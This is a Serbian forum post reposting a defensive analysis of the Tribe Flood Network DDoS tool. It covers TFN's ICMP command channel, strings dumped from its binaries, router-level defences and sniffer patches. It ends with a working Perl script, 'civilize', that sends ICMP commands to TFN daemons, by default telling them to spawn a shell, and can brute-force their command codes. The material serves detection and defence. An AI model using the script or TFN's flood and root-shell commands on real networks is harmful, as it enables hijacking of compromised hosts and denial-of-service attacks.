Iz razloga što programi koriste ICMP_ECHOREPLY pakete za komunikaciju bice veoma teško ako ne cak i nemoguce da se takva vrsta saobracaja blokira, a da se pri tom neblokiraju vecina internet programa koja se oslanjaju na ICMP.
Jedini siguran nacin da se ugase ovakvi kanali komunikacije jeste da se zabrani sav ICMP_ECHO saobracaj unutar jedne mreže, inace ce se na velikim mrežama strašno teško razlikovati noramlan ICMP_ECHO i ICMP_ECHOREPLY saobracaj koji se ostvaruje od strane programa poput programa ping od saobracaja koji se ostvarju korišcenjem ovog i njemu slicnim alatima.
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:34 pm

6.9 Slabosti

Ukoliko izvršni kod nije menjan TFN klijenti i serveri se mogu identifikovati posmatrajuci stringove ukljucene u binarnom zapisu programa, koji izgledaju ovako:

# strings - td
. . .
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
. . .
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
. . .

# strings - tfn
. . .
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
. . .
prikaz 9

Novije verzije TFN klijent/server programa pokazuju postojanje novih kodova za multi-klijent okruženje umesto jedno klijentskog okruženja koje je zasada veoma zastupljeno, Takode su primeceni i neki novi moduli za enkriptovanje iplista .Nove verzije istog programa pokazuju na postojanje i upotrebu Berkeley "rcp" komande za komunikaciju. Nadgledajuci "rcp" konekcije (514/tcp) sa raznih sistema na jednoj mreži može se na nalozima korisnika u direktorijumu ~/.rhosts mogu se videti ostvarene konekcije sa rcp serverima sa naloga koji je posmatran i na taj nacin zaustavimo mrežu da bude korišcena kao sredstvo nekog napadaca.

Pošto TFN kao što je vec napomenuto koristi ICMP pakete, mnogo ih je teško detektovati u akciji i takvi paketi mogu da produ kroz vecinu firewall-ova, a programi poput ngrep-a nisu u stanju da ih detektuju.

Jedina slabost TFN-a jeste da nepostoji autentikacija izvora ICMP paketa bar ne u analizi postojecih verzije TFN programa. Ukoliko vrednosti komandi nisu menjane samo jedžan paket bi bio dovoljan da ustanovimo postojanje TFN servera na jednoj mreži .
Koristeci Perl skriptu "civilize" datu u prilogu C, a koja koristi Net::RawIP delove TCP protokola, može se ustanoviti postajnje TFN servera. Obelodanjivanjem ovakve vrste servera na jednoj mreži možemo uraditi sledece: nastojati da TFN program uklonimo sa mreže ili da koristimo TFN za svoje potrebe. Ukoliko su komande menjane može se pokrenuti nad TFN serverom takozvani "brute force attack koji se sastoji od slanja kombinacije tri broja koji služe za izdavanje komandi i na taj nacin možemo uspostaviti kontrolu nad njim.


7.0 Zakljucna razmatranja


Primetno je da se u radu govori samo o tome kako sam napad izgleda i kako se može spreciti da jedna mreža može da bude posrednik u napadu. Jedino što nije receno jeste kako spreciti da budemo žrtve takvog napada, te ce se o tome govoriti u ovom zakljucku.

Kao što je vec receno DDOS napadi koji dolaze u razlicitim oblicima kao što su smurf, syn-flood, fraggle, itd. predstavljalju u osnovi isporuku ogromne kolicine paketa ka jednoj odredišnoj adresi odnosno jednoj mreži, tako da se slabost jedne mreže manifestuje u njenom propusnom opsegu odnosno u kolicini paketa koju ona sama može da procesira .U ovom slucaju ce mo govoriti o smurf ili icmp-flood tipu napada. Pošto DDOS koristi ICMP kao osnovni protokol kako za komunikaciju tako i za distribuciju svojih mailicioznih paketa, vecina administratora mreža pokušavaju da na ulaznim tackam ka svojoj mreži kompletno ili delimicno zatvore ICMP saobracaj da bi se zaštitili od ovakve vrste napada , a pri tome nemaju u vidu da bez obzira na to što saboracaj nece proci unutar njihove mreže on ipak dolazi na ulaznu tacku i tu pravi gužvu, odnosno onemogucuje da se bilo koji drugi saobaracaj odvija na toj mreži.

Rešenje za ovakvu vrstu DDOS (icmp-flood,smurf) napada jeste ustvari da se takva vrsta saobracaja pusti kroz ulazne tacke , tacnije da se odvoji deo propusnog opsega na ulaznim tackama koji ce služiti za ICMP saobracaj .To je najlakše uraditi sa softverom koji se nalazi na novijim verzijama operativnog sistema za rutere pod imenom CAR (confirmed acces rate) koji omogucava da se odvoji odreden procenat opsega za ICMP (burst -saobracaj), tako da nam preostali deo opsega služi za ostali saobracaj (http://www.cisco.com/warp/public/784...t/apr99/1.html) .

Druga vrsta DDOS napada SYN ili ACK-flood je veoma slican smurf napadima jer kao i on predstavlja isporucivanje ogromne kolicine paketa na jednu mrežu, s tim što se paketi u ovom slucaju šalju na oderdišnu adresu ali i na razlicite portove tog racunara ili rutera koji stoji iza te adrese. Još jedna specificnost za ovu vrstu paketa jeste sama konstrukcija paketa.Kod SYN ili ACK-flooda nešalju se kompletni paketi vec samo neki njegovi delovi kao što je syn koji predstavlja samo zapocinjanje konekcije ili ack deo paketa koji predstavlja samo prvi pristanak na zapocetu konekciju.Ukoliko se takve vrste paketa šalju ,uredaj koji ih prima nezna šta da radi sa njima, pa se kod tog uredaja manifestuje takozvano zamrzavanje odnosno onesposobljavanje samog uredaja za rad usled nepropisno primljenih paketa ili ukoliko je sam uredaj otporan na takve vrste napada dolazi kao i u prvom slucaju do zagušenja na samoj mreži gde se taj uredaj nalazi.

Rešenje za ovakvu vrstu napada je da se na ulazne tacke mreže postave ruteri koji imaju mogucnost prepoznavanja paketa, odnosno da prime samo one pakete koji su kompletni a sve ostale da odbaci odnosno da kaže udaljenoj mašini koja šalje takvu vrstu paketa da prestane. To se radi na taj nacin što se na ruterima u samo IP-stacku (odvojeno mesto u memoriji racunara ili uredaja koji aktivno ušestvuju u mrežnoj komunikaciji za rad sa mrežnim protokolima baziranim na TCP-protokolu) zadaje komanada ip-revers-unicast koja omogucuje da se takav vid zaštite sprovede, odnosno ona omogucava da se primaju samo kompletni paketi.
Rešenje koje je Yahoo primenio na svojoj mreži

Na ulaznim tackama svoje mreže postavio je 4 rutera sa gigabitnim ulazima na kojima je sproveo ove gore navede mere zaštite i iza njih je stavio nekoliko mašina koji služe kao amortizeri odnosno koje ce da loguju sve konekcije koje su ostvarene prema Yahoo-voj mreži .Jedini problem koji preostaje Yahoo da reši jesu sami sigurnostni propusti u kros-sajt skriptingu, što ne ulazi u temu ovog rada.

Da zakljucimo, bez obzira na ove date mere zaštite nemoguce je odbraniti se od DDOS napada ukoliko nije zadovoljen osnovni uslov, a to je da se velicina propusnog opsega mora konstantno povecavati do granice finansijske mogucnosti korporacije ukoliko je njoj cilj da se zaštiti od istih.

Prilog A: Zakrpa za sniffit v. 0.3.7.beta za prikaz ne standardnih ICMP podataka

diff -c sniffit.0.3.7.beta.orig/sn_defines.h sniffit.0.3.7.beta/sn_defines.h
*** sniffit.0.3.7.beta.orig/sn_defines.h Wed Aug 26 12:21:23 1998
--- sniffit.0.3.7.beta/sn_defines.h Wed Oct 20 10:15:41 1999
***************
*** 126,132 ****
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
--- 126,132 ----
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo request"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
***************
*** 134,140 ****
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Adress mask reply"

/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
--- 134,140 ----
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Address mask reply"

/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
diff -c sniffit.0.3.7.beta.orig/sniffit.0.3.7.c sniffit.0.3.7.beta/sniffit.0.3.7.c
*** sniffit.0.3.7.beta.orig/sniffit.0.3.7.c Wed Aug 26 12:21:25 1998
--- sniffit.0.3.7.beta/sniffit.0.3.7.c Wed Oct 20 10:15:49 1999
***************
*** 1333,1339 ****
printf ("Unknown ICMP type!\n");
break;
}
! printf ("\n");
return;
}
if (finish < 30) /* nothing yet */
--- 1333,1351 ----
printf ("Unknown ICMP type!\n");
break;
}
! total_length = info.IP_len + info.ICMP_len + info.DATA_len;
! n = 0;
! for (i = 0; i < total_length; i++)
! {
! unsigned char c = sp[PROTO_HEAD + i];
! if (n > 75)
! n = 0, printf ("\n");
! if (DUMPMODE & 1)
! n += printf (" %02X", c);
! if (DUMPMODE & 2)
! n += printf (" %c", isprint (c) ? c : '.');
! }
! printf ("\n\n");
return;
}
if (finish < 30) /* nothing yet */

Prilog B: Zakrpa za tcpshow 1.0 za prikaz ICMP ECHO identifikacije /sekvence

diff -c tcpshow.c.orig tcpshow.c
*** tcpshow.c.orig Thu Oct 21 14:12:19 1999
--- tcpshow.c Thu Oct 21 14:22:34 1999
***************
*** 1081,1086 ****
--- 1081,1088 ----
uint2 nskipped;
uint1 type;
char *why;
+ uint2 echo_id;
+ uint2 echo_seq;
type = getbyte(&pkt); nskipped = sizeof(type);
***************
*** 1091,1096 ****
--- 1093,1103 ----
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;

+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ echo_id = getword(&pkt); nskipped += sizeof(cksum);
+ echo_seq = getword(&pkt); nskipped += sizeof(cksum);
+ }
+
why = icmpcode(type, code);
if (dataflag) {
printf(
***************
*** 1113,1118 ****
--- 1120,1129 ----
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ printf("\tId:\t\t\t\t0x%04X\n", echo_id);
+ printf("\tSequence:\t\t\t0x%04X\n", ntohs(echo_seq));
+ }
}

return pkt;

Prilog C Perl skripta "civilize" za kontrolu TFN servera

#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)

require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';

$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);

Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"12345\")\
\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "12345";
$opt_c = ($opt_c) ? $opt_c : "456";

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}

$s_host = ($opt_h) ? $opt_h : $hostname;

if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}

# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));

foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => "$opt_a\0"}
});
print "sending packet [$opt_c/$opt_a] to $d_host\n" if $opt_v;
$a->send;
}

exit(0);


--------------------------------------------------------------------------------

1 telnet - servis koji omogucava terminalni pristup racunarima zasnovanim na UNIX platformama.
2 ping - ?paket internet groper?, služi kao alat za proveravnje veze izmedu dva racunara, gde je veza zasnovana na TCP/IP protokolu.
   Go down
Sponsored content




: Re: KOMPLETNO O DOS NAPADIMA   

   Go down
 
KOMPLETNO O DOS NAPADIMA
   
1 of 1

Permissions in this forum:
Extreme :: Svet Kompjutera :: Hackovanje..-